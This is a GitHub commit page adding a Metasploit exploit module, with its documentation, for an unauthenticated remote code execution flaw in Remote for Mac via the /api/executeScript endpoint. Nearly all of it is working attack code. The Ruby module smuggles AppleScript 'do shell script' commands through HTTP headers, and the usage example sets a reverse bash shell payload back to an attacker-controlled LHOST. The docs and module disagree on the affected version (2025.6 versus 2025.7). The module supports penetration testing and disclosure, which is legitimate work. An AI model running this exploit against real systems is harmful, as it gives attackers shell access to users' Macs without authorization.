Skip to content

Commit f20e72b

Browse files
authored
Land rapid7#20256, adds RCE module for Remote For Mac 2025.7
Add Remote for Mac 2025.6 unauthenticated RCE module
2 parents dbefbe0 + 6105b99 commit f20e72b

File tree

2 files changed

+146
-0
lines changed

2 files changed

+146
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# Module Documentation: Remote for Mac 2025.6 - Unauthenticated RCE
2+
3+
## Overview
4+
5+
This module exploits an unauthenticated remote code execution (RCE) vulnerability in **Remote for Mac 2025.6**. When the **"Allow unknown devices"** setting is enabled (disabled by default), the `/api/executeScript` endpoint allows unauthenticated attackers to execute arbitrary AppleScript commands, including shell commands, on the target macOS system.
6+
7+
**Exploit Author:** [Chokri Hammedi](https://packetstormsecurity.com/files/195347/)
8+
9+
**Module Path:** `modules/exploits/osx/http/remote_for_mac_rce.rb`
10+
11+
## Vulnerable Application
12+
13+
- **Vendor:** Evgeny Cherpak
14+
- **Homepage:** [https://cherpake.com/](https://cherpake.com/)
15+
- **Download:** [https://cherpake.com/latest.php?os=mac](https://cherpake.com/latest.php?os=mac)
16+
- **Affected Version:** Remote for Mac 2025.6
17+
- **Tested on:** macOS Mojave 10.14.6
18+
19+
## Vulnerability Details
20+
21+
- **Endpoint:** `/api/executeScript`
22+
- **Vulnerability:** Missing authentication
23+
- **Trigger Condition:** The app must have **"Allow unknown devices"** enabled.
24+
- **Impact:** Full command execution as the logged-in user.
25+
26+
The exploit sends a specially crafted GET request with AppleScript payload headers to the unauthenticated endpoint. The server executes the `do shell script` AppleScript, leading to remote command execution.
27+
28+
## Usage Example
29+
30+
From within `msfconsole`:
31+
32+
```bash
33+
use exploit/osx/http/remote_for_mac_rce
34+
set RHOSTS 192.168.1.100
35+
set RPORT 443
36+
set SSL true
37+
set PAYLOAD cmd/unix/reverse_bash
38+
set LHOST 192.168.1.50
39+
run
40+
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
require 'json'
2+
3+
class MetasploitModule < Msf::Exploit::Remote
4+
Rank = NormalRanking
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
prepend Msf::Exploit::Remote::AutoCheck
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Remote for Mac Unauthenticated RCE',
14+
'Description' => %q{
15+
This module exploits an unauthenticated remote code execution vulnerability in
16+
Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint.
17+
When authentication is disabled on the target system, it allows attackers to execute
18+
arbitrary AppleScript commands, which can include shell commands via `do shell script`.
19+
All versions up to 2025.7 (including patch versions) are vulnerable.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => ['Chokri Hammedi (@blue0x1)'],
23+
'References' => [
24+
['PACKETSTORM', '195347']
25+
],
26+
'DisclosureDate' => '2025-05-27',
27+
'Platform' => ['unix', 'osx'],
28+
'Arch' => ARCH_CMD,
29+
'Targets' => [['Auto', {}]],
30+
'DefaultTarget' => 0,
31+
'DefaultOptions' => {
32+
'SSL' => true
33+
},
34+
'Notes' => {
35+
'Stability' => [CRASH_SAFE],
36+
'Reliability' => [REPEATABLE_SESSION],
37+
'SideEffects' => [IOC_IN_LOGS]
38+
}
39+
)
40+
)
41+
end
42+
43+
def check
44+
res = send_request_cgi(
45+
'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'),
46+
'method' => 'GET'
47+
)
48+
49+
return CheckCode::Unknown('No response from target') unless res&.code == 200
50+
51+
info = res.get_json_document
52+
53+
if info.empty?
54+
return CheckCode::Unknown('Unable to parse JSON from /api/getVersion')
55+
end
56+
57+
if info['requires.auth'] == true
58+
return CheckCode::Safe('Target requires authentication on /api/executeScript')
59+
end
60+
61+
version = info['version'].to_s
62+
if version.empty?
63+
return CheckCode::Unknown('Could not determine target version')
64+
end
65+
66+
target_version = Rex::Version.new(version)
67+
vulnerable_version = Rex::Version.new('2025.7')
68+
69+
if target_version <= vulnerable_version
70+
return CheckCode::Appears
71+
else
72+
return CheckCode::Safe("Target version #{version} is not vulnerable")
73+
end
74+
end
75+
76+
def exploit
77+
print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}")
78+
cmd = payload.encoded
79+
applescript = %(do shell script "#{cmd}")
80+
81+
host_name = Rex::Text.rand_text_alpha(8)
82+
host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}"
83+
script_name = Rex::Text.rand_text_alpha(8)
84+
85+
print_status("Sending exploit to #{rhost}:#{rport} via AppleScript")
86+
res = send_request_cgi(
87+
'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'),
88+
'method' => 'GET',
89+
'headers' => {
90+
'X-ClientToken' => Rex::Text.rand_text_numeric(4),
91+
'X-HostName' => host_name,
92+
'X-HostFullModel' => host_model,
93+
'X-Script' => applescript,
94+
'X-ScriptName' => script_name,
95+
'X-ScriptDelay' => '0'
96+
}
97+
)
98+
99+
print_status('Payload sent')
100+
if res&.code == 200
101+
print_good('Payload delivered successfully. Awaiting session...')
102+
res_json = res.get_json_document
103+
print_status("Received response: #{res_json['result']}")
104+
end
105+
end
106+
end

0 commit comments

Comments
 (0)